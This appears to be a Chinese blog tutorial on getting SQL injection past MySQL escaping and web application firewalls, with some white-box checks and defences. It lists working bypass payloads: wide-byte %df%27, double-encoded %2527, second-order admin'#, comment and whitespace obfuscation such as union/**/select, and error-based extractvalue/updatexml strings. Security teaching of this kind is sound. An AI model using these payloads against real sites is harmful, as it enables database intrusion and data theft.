mysql注入转义绕过_SQL注入防御绕过

一、宽字节注入

1、什么是宽字节

GB2312、GBK、GB18030、BIG5等这些都是常说的宽字节,实际为两字节

2、宽字节注入原理

防御:将 ' 转换为 \'

绕过:将 \ 消灭

mysql在使用GBK编码的时候,会认为两个字符为一个汉字

\ 编码为 %5c

' 编码为%27

%df%5c mysql会认为是一个汉字

构造:

%df' %df\' %df%5c%27 其中%df%5c将成为一个汉字专为 汉字' 从而绕过了/的转义

注:前一个ascii码大于128才能到汉字的范围

注入方法:在注入点后键入%df,然后按照正常的注入流程开始注入

933b87f299bd040ad4b4465af0de2b76.png

5d077d2bfd6835a632322cd4efc8a979.png

工具注入方法:

在注入点后面手动添加%df即可 (没成功。。。)

64ea3c74d52f247611e1dae7c21d5500.png

白盒测试:

1、查看mysql编码是否为GBK

2、是否使用preg_replace把单引号替换成 \'

3、是否使用addslashes进行转义

4、是否使用mysql_real_escape_string进行转义

宽字节防御

1、使用UTF-8,避免宽字节

不仅GBK、韩文、日文等等都是宽字节,都有可能存在诸如漏洞

2、mysql_real_escape_string, mysql_set_charset('gbk',$conn);

3、可以设置参数, character_set_client=binary

二、二次编码注入

在url中可能出现一些特殊字符,如= & ; +

为了避免冲突,需要转移

index.php?id=1&name=admin&pwd=123

mysql会对url提交的编码进行自动转换

例如:url中的%3d,mysql会自动转为=

宽字节和二次编码注入:

是在面对php代码或配置,对输入的'(单引号)进行转义的时候,在处理用户输入数据时存在问题,可以绕过转义

二次编码注入是由于两次编码转义冲突导致出现的注入点

注入方法:在注入点后键入%2527,然后按照正常的注入流程开始注入

白盒测试

1、是否使用urldecode函数

2、urldecode函数是否在转义方法之后

三、二次注入

第一步, 插入恶意数据

保留了原来的数据,插入到数据库

第二步,引用恶意数据

在将数据存入到了数据库中之后,开发者未经验证,直接引用

例如修改密码

输入admin'#

在修改密码过程中,将会修改admin的密码

select concat_ws(0x7e,username,password) from security

四、Waf绕过原理分析

sql注入是***测试与waf防御最激烈的战场

1、白盒绕过

1)大小写变形

2)等价替换:and -> &&, or -> ||

3)。。。

2、黑盒绕过

一、架构层绕过

1) 寻找源站

2)利用同网段

3)利用边界漏洞

二、资源限制角度绕过

1、POST大BODY

三、协议层面绕过WAF的检测

1、协议未覆盖绕过WAF

*请求方式变换 get -> post

*content-type变换

2、参数污染

index.php?id=1&id=2

id=1

id=2

waf可能只检测id=1

四、规则层面的绕过

1、sql注释符绕过

level-1 union/**/select

level-2 union/*ajlsjdlf*/select

2 空白符绕过

mysql空白符:%09,%0A。。。

正则空白符: %09,%0A

example-1:union%250Cselect

3函数分分割符号

在函数和数据中间引入一些内容

concat%2520(

concat/**/(

concat%250c(

4 浮点数词法解析

select * from users where id=8E0union select 1,2,3,4

5 利用error-based进行sql注入:error-based sql注入函数非常容易被忽略

extractvalue(1, concat(0x5c,md5(3)));

updatexml(1,concat(0x5d,md5(3)),1);

6 mysql特殊语法

select{x table_name}from{x information_schema.tables};

五、Fuzz绕过waf

1、注释符绕过

*先测试最基本的: union/**/select

*再测试中间引入特殊字:union/*aaaa%01bbs*/select

*最后测试注释长度:union/*aaaaaaaaaaaaaaaa*/select

最基本的模式

union/*something*/select

将空格替换为/*sldfj$%^&*/

特殊函数 xx() 替换为 xx/*sldfj$%^&*/()

六、SQLmap waf绕过脚本编写

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值